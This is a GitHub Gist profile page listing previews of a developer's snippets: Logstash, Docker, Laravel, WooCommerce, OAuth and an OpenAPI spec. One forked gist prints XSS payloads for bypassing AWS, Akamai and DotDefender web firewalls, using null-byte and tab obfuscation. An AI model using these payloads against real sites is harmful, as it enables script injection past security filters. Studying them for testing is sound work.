Skip to content

Instantly share code, notes, and snippets.

View CodeAdminDe's full-sized avatar

Frederic Roggon CodeAdminDe

  • Hamburg, Germany
View GitHub Profile
@CodeAdminDe
CodeAdminDe / fail2ban.conf
Created July 24, 2020 17:56 — forked from alexalouit/fail2ban.conf
fail2ban logstash config & grok pattern
input {
file {
path => "/var/log/fail2ban.log"
type => "fail2ban"
}
}
filter {
if [type] == "fail2ban" {
grok {
@CodeAdminDe
CodeAdminDe / docker-compose.wordpress.sample.yml
Last active October 31, 2020 07:44
wordpress_docker_compose_sample_4_local_dev
version: '3.7'
networks:
wp:
volumes:
app:
db:
services:
@CodeAdminDe
CodeAdminDe / UserConstantsTest.php
Created May 29, 2021 14:12
Just a simple example of model constant testing via PHPUnit
<?php
namespace Tests\Unit\Models;
use App\Models\User;
use PHPUnit\Framework\TestCase;
class UserConstantsTest extends TestCase
{
/**

Keybase proof

I hereby claim:

  • I am codeadminde on github.
  • I am codeadminde (https://keybase.io/codeadminde) on keybase.
  • I have a public key ASAQirRi02kxcEVkUik8ht9dIxb6aiUI8lIZhaIOdXtyPAo

To claim this, I am signing this object:

@CodeAdminDe
CodeAdminDe / 202112_HowTo_Laravel8_Landlord_Sessions_with_Tenat_ID.md
Last active January 7, 2022 21:26
HowTo - Laravel 8 with landlord session table and tenant_id scopeing

202112_HowTo_Laravel8_Landlord_Sessions_with_Tenat_ID

This is a short "how-to implement" of a tenant scopeing for sessions when using

with a multi-database setup and sessions within the landlord database.

@CodeAdminDe
CodeAdminDe / xss-bypass-waf
Created August 18, 2022 12:47 — forked from zetc0de/xss-bypass-waf
XSS Bypass WAF
@vanshitmalhotra | Bypass AWS WAF -//
Add "<!" (without quotes) before your payload and bypass that WAF. :)
eg: <!<script>confirm(1)</script>
@black0x00mamba | Bypass WAF Akamaighost & filtered onload, onclick, href, src, onerror, script, etc
<img sr%00c=x o%00nerror=((pro%00mpt(1)))>
DotDefender WAF bypass by @0xInfection
<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;&lpar;&rpar;%20draggable=True>dragme
import requests
import sys
import json
def waybackurls(host, with_subs):
if with_subs:
url = 'http://web.archive.org/cdx/search/cdx?url=*.%s/*&output=json&fl=original&collapse=urlkey' % host
else:
url = 'http://web.archive.org/cdx/search/cdx?url=%s/*&output=json&fl=original&collapse=urlkey' % host
@CodeAdminDe
CodeAdminDe / functions.part.php
Created May 10, 2023 17:48
Add WooCommerce up- and download mime type for DMG files
// allow DMG file upload for WC
add_filter('upload_mimes', 'ith__allow_dmg_upload');
function ith__allow_dmg_upload($mime_types){
$mime_types['dmg'] = 'application/x-apple-diskimage';
return $mime_types;
}
// allow DMG file download for WC
add_filter( 'woocommerce_file_download_allowed_mime_types', 'ith__add_dmg_mime_type' );
function ith__add_dmg_mime_type( $mime_types ){
@CodeAdminDe
CodeAdminDe / minio-service.swagger.json
Created December 14, 2023 10:02
OpenAPI definition for a custom project of mine to restart Minio automatically.
swagger: "2.0"
info:
description: "This is a simple API to restart a minio server."
version: "1.0.0"
title: "Swagger Minio 1.0"
contact:
email: "frederic.roggon@codeadmin.de"
license:
name: "Apache 2.0"
url: "http://www.apache.org/licenses/LICENSE-2.0.html"
@CodeAdminDe
CodeAdminDe / gmail_oauth.sh
Created July 24, 2024 08:46 — forked from phlbnks/gmail_oauth.sh
Script to generate OAuth token file for use with Google API, specifically with parsedmarc / dmarc-visualizer
#!/bin/bash
# Injest / setup vars // TODO: error handling needed
client_id=$( cat parsedmarc/credentials.json | jq -r '.installed.client_id' )
client_secret=$( cat parsedmarc/credentials.json | jq -r '.installed.client_secret' )
scope="https://www.googleapis.com/auth/gmail.modify"
echo
echo "This script will take your OAuth Desktop Application credentials.json and use it to get a token to interact with the API"
sleep 2